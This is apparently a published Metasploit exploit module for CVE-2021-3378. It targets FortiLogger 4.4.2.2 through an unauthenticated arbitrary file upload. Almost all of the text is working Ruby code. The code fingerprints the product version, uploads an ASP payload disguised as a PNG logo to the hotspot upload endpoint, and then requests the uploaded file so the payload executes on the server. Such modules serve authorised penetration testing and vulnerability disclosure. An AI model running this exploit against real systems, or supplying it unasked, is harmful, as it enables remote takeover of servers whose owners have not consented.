FortiLogger 4.4.2.2 Arbitrary File Upload

This Metasploit module exploits an unauthenticated arbitrary file upload via an insecure POST request to Fortilogger. It has been tested on version 4.4.2.2 in Windows 10 Enterprise.


MD5 | 986492d22038a772f87e46c47ea24f02

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::EXE
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'FortiLogger Arbitrary File Upload Exploit',
'Description' => %q{
This module exploits an unauthenticated arbitrary file upload
via insecure POST request. It has been tested on version 4.4.2.2 in
Windows 10 Enterprise.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Berkan Er <[email protected]>' # Vulnerability discovery, PoC and Metasploit module
],
'References' =>
[
['CVE', '2021-3378'],
['URL', 'https://erberkan.github.io/2021/cve-2021-3378/']
],

'Platform' => ['win'],
'Privileged' => false,
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
[
'FortiLogger - 4.4.2.2',
{
'Platform' => 'win'
}
],
],
'DisclosureDate' => '2021-02-26',
'DefaultTarget' => 0
)
)

register_options(
[
Opt::RPORT(5000),
OptString.new('TARGETURI', [true, 'The base path to the FortiLogger', '/'])
], self.class
)
end

def check_product_info
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, '/shared/GetProductInfo'),
'method' => 'POST',
'data' => '',
'headers' => {
'Accept' => 'application/json, text/javascript, */*; q=0.01',
'Accept-Language' => 'en-US,en;q=0.5',
'Accept-Encoding' => 'gzip, deflate',
'X-Requested-With' => 'XMLHttpRequest'
}
)

return res
end

def check
begin
res = check_product_info
if res && res.code == 200
if JSON.parse(res.body)['Version'] == '4.4.2.2'
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
end
end

def create_payload
Msf::Util::EXE.to_exe_asp(generate_payload_exe).to_s
end

def exploit
begin
print_good('Generate Payload !')
data = create_payload

boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(rand(10) + 5)}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"b3r.asp\"\r\n"
post_data << "Content-Type: image/png\r\n"
post_data << "\r\n#{data}\r\n"
post_data << "--#{boundary}\r\n"

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/Config/SaveUploadedHotspotLogoFile'),
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => post_data,
'headers' => {
'Accept' => 'application/json',
'Accept-Language' => 'en-US,en;q=0.5',
'X-Requested-With' => 'XMLHttpRequest'
}
)
if res && res.code == 200
if JSON.parse(res.body)['Message'] == 'Error in saving file'
print_error('Error for upload payload..')
else
print_good('Payload has been uploaded !')

handler

print_status('Executing payload...')
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/Assets/temp/hotspot/img/logohotspot.asp'),
'method' => 'GET'
}, 5)
end
end
end
end
end

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